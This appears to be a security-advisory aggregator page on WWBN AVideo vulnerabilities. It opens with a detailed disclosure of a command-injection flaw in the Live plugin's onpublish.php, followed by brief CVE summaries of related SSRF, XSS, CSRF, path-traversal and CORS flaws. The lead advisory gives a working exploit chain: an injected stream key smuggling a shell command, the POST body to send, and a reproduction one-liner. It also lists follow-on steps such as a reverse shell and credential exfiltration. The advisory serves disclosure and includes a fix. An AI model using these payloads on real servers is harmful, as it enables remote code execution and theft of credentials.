Why it's wrong: '$m3u8' is not shell quoting. PHP interpolates $m3u8 into the string between two literal ' characters. The shell then tokenises the result. If $m3u8 contains ' itself, the shell sees '…' followed by <attacker bytes> followed by another ', which forms two adjacent quoted strings concatenated with whatever the attacker put between them. Embedded ;, backticks, $(), &&, |, or \n then run as shell commands. The fix is escapeshellarg(), which AVideo already uses 137 times in ffmpeg invocations (e.g. getVideos.php:1069, videos.json.php, aVideoEncoder.json.php); this branch simply forgot it.

Exploit Chain

1. Attacker authenticates and arranges for one of the command variables to contain '. Under the current code the readily available primitive is a canStream user supplying a stream key via the persistence path (saveLive.php's $REQUEST['key'] is written verbatim to livetransmitions.key). State: a row exists with key = "evilkey';id>/tmp/pwn;#". 2. Attacker POSTs directly to https://target/plugin/Live/onpublish.php (the file is web-served, no IP restriction) with body: name=evilkey';id>/tmp/pwn;# p=<md5(attackerpassword)> tcurl=rtmp://target/live addr=1.2.3.4 onpublish.php:117 runs pregreplace("/[&=]/", '', $POST['name']) — only &/= are stripped, so ';id>/tmp/pwn;# survives. Lines 143-163 confirm $GET['p'] === $user->getPassword() (the attacker is themself, knows their own MD5), persist a LiveTransmitionHistory row with the poisoned key, and set $obj->error = false. State: authorisation gate passed. 3. Line 261 calls Live::getM3U8File($lth->getKey(), false, true), returning "https://server/live/evilkey';id>/tmp/pwn;#.m3u8". State: $m3u8 carries the injection payload. 4. Line 267 builds the command string by concatenation: php /var/www/AVideo/plugin/Live/onpublishsocketnotification.php '7' 'https://server/live/evilkey';id>/tmp/pwn;#.m3u8' '42' Shell tokenisation sees: php, …/onpublishsocketnotification.php, '7', 'https://server/live/evilkey' (the attacker's ' closed the second quote), then operator ;, then command-2 id>/tmp/pwn, then ;, then #.m3u8' '42' (everything after # is a comment). State: the shell has parsed two real commands. 5. Line 269 execAsync($command) spawns the shell, which runs the secondary command id>/tmp/pwn as the AVideo PHP-FPM/Apache user. State: arbitrary OS command execution with the privileges of the web-server runtime user. 6. Final state: the attacker reads /tmp/pwn, swaps the payload for a reverse shell, exfiltrates videos/configuration.php (database password and root URL), drops a webshell into the upload tree, or pivots to other plugin credentials (PayPal/Stripe API keys, AWS keys for the CDN plugin, OpenAI key for the AI plugin).

Security Impact

Severity: sec-high. Pre-auth-friendly remote code execution: the only prerequisite is that the attacker can place a ' into one of the three command-line variables, which on a streaming platform means a single low-privilege account. Attacker capability: with one canStream account and two HTTP requests, the attacker executes arbitrary shell commands as the AVideo runtime user. From there: read database credentials, exfiltrate user data, write a webshell into a publicly-served path, pivot to plugin credentials, persist via cron, or escalate via any local sudoers entries. Preconditions: AVideo deployment with Live and YPTSocket plugins enabled (the standard live-streaming bundle); attacker can reach /plugin/Live/onpublish.php over the network; a value containing ' is reachable into usersid, m3u8, or liveTransmitionHistoryid (the current code lets canStream users supply such a value via the stream-key persistence path). Differential: source-inspection-verified end-to-end. The shell-tokenising behaviour of '…'…'…' is reproducible offline:

sh $ s="php /a/b.php '7' 'https://s/live/evilkey';id>/tmp/pwn;#.m3u8' '42'" $ rm -f /tmp/pwn; bash -c "$s" 2>/dev/null; ls -l /tmp/pwn -rw-r--r-- 1 user user N <date> /tmp/pwn # injected id ran, output captured

The patched build (with the suggested escapeshellarg() fix below applied) constructs php /a/b.php '7' 'https://s/live/evilkey'\''id>/tmp/pwn;#.m3u8' '42', which the shell parses as a single argument containing the literal characters; the second command never runs.

Suggested Fix

Use escapeshellarg() on every variable interpolated into the command string. This matches established project conventions (137 other call sites for ffmpeg invocations).

diff --- a/plugin/Live/onpublish.php +++ b/plugin/Live/onpublish.php @@ -264,7 +264,11 @@ if (strtoupper(substr(PHPOS, 0, 3)) === 'WIN') { include "{$global['systemRootPath']}plugin/Live/onpublishsocketnotification.php"; } else { - $command = getphp(). " {$global['systemRootPath']}plugin/Live/onpublishsocketnotification.php '$usersid' '$m3u8' '{$obj->liveTransmitionHistoryid}'"; + $command = getphp() + . ' ' . escapeshellarg($global['systemRootPath'] . 'plugin/Live/onpublishsocketnotification.php') + . ' ' . escapeshellarg((string) $usersid) + . ' ' . escapeshellarg((string) $m3u8) + . ' ' . escapeshellarg((string) $obj->liveTransmitionHistoryid); errorlog("NGINX Live::onpublish YPTSocket start ($command)"); $pid = execAsync($command); }

Defence-in-depth: onpublish.php is the nginx-rtmp webhook and should not be reachable from the public Internet. Add an .htaccess/nginx location rule restricting the file to 127.0.0.1 and any configured RTMP server IPs. That blocks the trigger path independently of the sanitisation work.

1 / 2
Source: GitHub
First published (updated )
Severity
8.9
Command Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

WWBN AVideo is an open source video platform. In versions 29.0 and below, the cloneServer.json.php endpoint in the CloneSite plugin constructs shell commands using user-controlled input (url parameter) without proper sanitization. The input is directly concatenated into a wget command executed via exec(), allowing command injection. An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., ;). This leads to Remote Code Execution (RCE) on the server. Commit 473c609fc2defdea8b937b00e86ce88eba1f15bb contains a fix.

First published (updated )
Severity
9.3
OS Command Injection
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

WWBN AVideo is an open source video platform. In versions up to and including 29.0, an incomplete fix for AVideo's test.php adds escapeshellarg for wget but leaves the filegetcontents and curl code paths unsanitized, and the URL validation regex /^http/ accepts strings like httpevil[.]com. Commit 78bccae74634ead68aa6528d631c9ec4fd7aa536 contains an updated fix.

First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

WWBN AVideo is an open source video platform. In versions 29.0 and below, an incomplete XSS fix in AVideo's ParsedownSafeWithLinks class overrides inlineMarkup for raw HTML but does not override inlineLink() or inlineUrlTag(), allowing javascript: URLs in markdown link syntax to bypass sanitization. Commit cae8f0dadbdd962c89b91d0095c76edb8aadcacf contains an updated fix.

First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

WWBN AVideo is an open source video platform. In versions 29.0 and below, the directory traversal fix introduced in commit 2375eb5e0 for objects/aVideoEncoderReceiveImage.json.php only checks the URL path component (via parseurl($url, PHPURLPATH)) for .. sequences. However, the downstream function trygetcontentsfromlocal() in objects/functionsFile.php uses explode('/videos/', $url) on the full URL string including the query string. An attacker can place the /videos/../../ traversal payload in the query string to bypass the security check and read arbitrary files from the server filesystem. Commit bd11c16ec894698e54e2cdae25026c61ad1ed441 contains an updated fix.

First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

WWBN AVideo is an open source video platform. In versions 29.0 and below, the isValidDuration() regex at objects/video.php:918 uses /^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/ without a $ end anchor, allowing arbitrary HTML/JavaScript to be appended after a valid duration prefix. The crafted duration is stored in the database and rendered without HTML escaping via echo Video::getCleanDuration() on trending pages, playlist pages, and video gallery thumbnails, resulting in stored cross-site scripting. Commit bcba324644df8b4ed1f891462455f1cd26822a45 contains a fix.

First published (updated )
Severity
7.7
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

WWBN AVideo is an open source video platform. In versions 29.0 and below, the isSSRFSafeURL() function in objects/functions.php contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches webSiteRootURL to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site's public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration. Commit a0156a6398362086390d949190f9d52a823000ba fixes the issue.

First published (updated )
Severity
8.1
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

WWBN AVideo is an open source video platform. In versions 29.0 and below, the incomplete fix for AVideo's CloneSite deleteDump parameter does not apply path traversal filtering, allowing unlink() of arbitrary files via ../../ sequences in the GET parameter. Commit 3c729717c26f160014a5c86b0b6accdbd613e7b2 contains an updated fix.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

WWBN AVideo is an open source video platform. In versions 29.0 and below, the CORS origin validation fix in commit 986e64aad is incomplete. Two separate code paths still reflect arbitrary Origin headers with credentials allowed for all /api/ endpoints: (1) plugin/API/router.php lines 4-8 unconditionally reflect any origin before application code runs, and (2) allowOrigin(true) called by get.json.php and set.json.php reflects any origin with Access-Control-Allow-Credentials: true. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data. Commit 5e2b897ccac61eb6daca2dee4a6be3c4c2d93e13 contains a fix.

First published (updated )
Severity
8.1
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

WWBN AVideo is an open source video platform. In versions 29.0 and below, the allowOrigin($allowAll=true) function in objects/functions.php reflects any arbitrary Origin header back in Access-Control-Allow-Origin along with Access-Control-Allow-Credentials: true. This function is called by both plugin/API/get.json.php and plugin/API/set.json.php — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's SameSite=None session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim. Commit caf705f38eae0ccfac4c3af1587781355d24495e contains a fix.

First published (updated )
Severity
8.6
SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

WWBN AVideo is an open source video platform. In versions 29.0 and below, an incomplete SSRF fix in AVideo's LiveLinks proxy adds isSSRFSafeURL() validation but leaves DNS TOCTOU vulnerabilities where DNS rebinding between validation and the actual HTTP request redirects traffic to internal endpoints. Commit 8d8fc0cadb425835b4861036d589abcea4d78ee8 contains an updated fix.

First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

WWBN AVideo is an open source video platform. In versions 29.0 and prior, objects/getCaptcha.php accepts the CAPTCHA length (ql) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive strcasecmp comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on Captcha::validation() (user registration, password recovery, contact form, etc.) in at most ~33 requests per session. Commit bf1c76989e6a9054be4f0eb009d68f0f2464b453 contains a fix.

First published (updated )
Severity
5.4
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

WWBN AVideo is an open source video platform. In versions 29.0 and prior, objects/commentDelete.json.php is a state-mutating JSON endpoint that deletes comments but performs no CSRF validation. It does not call forbidIfIsUntrustedRequest(), does not verify a CSRF/global token, and does not check Origin/Referer. Because AVideo intentionally sets session.cookiesamesite=None (to support cross-origin embed players), a cross-site request from any attacker-controlled page automatically carries the victim's PHPSESSID. Any authenticated victim who has authority to delete one or more comments (site moderators, video owners, and comment authors) can be tricked into deleting comments en masse simply by visiting an attacker page. Commit 184f36b1896f3364f864f17c1acca3dd8df3af27 contains a fix.

First published (updated )
Severity
5.4
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

WWBN AVideo is an open source video platform. In versions 29.0 and prior, multiple AVideo JSON endpoints under objects/ accept state-changing requests via $REQUEST/$GET and persist changes tied to the caller's session user, without any anti-CSRF token, origin check, or referer check. A malicious page visited by a logged-in victim can silently cast/flip the victim's like/dislike on any comment (objects/commentslike.json.php), post a comment authored by the victim on any video, with attacker-chosen text (objects/commentAddNew.json.php), and/or delete assets from any category (objects/categoryDeleteAssets.json.php) when the victim has category management rights. Each endpoint is reachable from a browser via a simple <img src="…"> tag or form submission, so exploitation only requires the victim to load an attacker-controlled HTML resource. Commit 7aaad601bd9cd7b993ba0ee1b1bea6c32ee7b77c contains a fix.

First published (updated )
Severity
7.1
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

WWBN AVideo is an open source video platform. In versions 29.0 and prior, three admin-only JSON endpoints — objects/categoryAddNew.json.php, objects/categoryDelete.json.php, and objects/pluginRunUpdateScript.json.php — enforce only a role check (Category::canCreateCategory() / User::isAdmin()) and perform state-changing actions against the database without calling isGlobalTokenValid() or forbidIfIsUntrustedRequest(). Peer endpoints in the same directory (pluginSwitch.json.php, pluginRunDatabaseScript.json.php) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's updateScript() method in the admin's session. Commit ee5615153c40628ab3ec6fe04962d1f92e67d3e2 contains a fix.

First published (updated )
Severity
8.3
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

WWBN AVideo is an open source video platform. In versions 29.0 and prior, objects/configurationUpdate.json.php (also routed via /updateConfig) persists dozens of global site settings from $POST but protects the endpoint only with User::isAdmin(). It does not call forbidIfIsUntrustedRequest(), does not verify a globalToken, and does not validate the Origin/Referer header. Because AVideo intentionally sets session.cookiesamesite=None to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site <head> HTML, logo, favicon, contact email, and more in a single request. Commit f9492f5e6123dff0292d5bb3164fde7665dc36b4 contains a fix.

First published (updated )
Severity
8.7
Path Traversal, CSRF
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

WWBN AVideo is an open source video platform. In versions 29.0 and prior, the locale save endpoint (locale/save.php) constructs a file path by directly concatenating $POST['flag'] into the path at line 30 without any sanitization. The $POST['code'] parameter is then written verbatim to that path via fwrite() at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use SameSite=None) can traverse out of the locale/ directory and write arbitrary .php files to any writable location on the filesystem, achieving Remote Code Execution. Commit 57f89ffbc27d37c9d9dd727212334846e78ac21a fixes the issue.

First published (updated )
Severity
5.3
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

WWBN AVideo is an open source video platform. In versions 29.0 and prior, the file git.json.php at the web root executes git log -1 and returns the full output as JSON to any unauthenticated user. This exposes the exact deployed commit hash (enabling version fingerprinting against known CVEs), developer names and email addresses (PII), and commit messages which may contain references to internal systems or security fixes. As of time of publication, no known patched versions are available.

First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

WWBN AVideo is an open source video platform. In versions 29.0 and prior, the endpoint plugin/Live/view/Liverestreams/list.json.php contains an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated user with streaming permission to retrieve other users' live restream configurations, including third-party platform stream keys and OAuth tokens (accesstoken, refreshtoken) for services like YouTube Live, Facebook Live, and Twitch. Commit d5992fff2811df4adad1d9fc7d0a5837b882aed7 fixes the issue.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203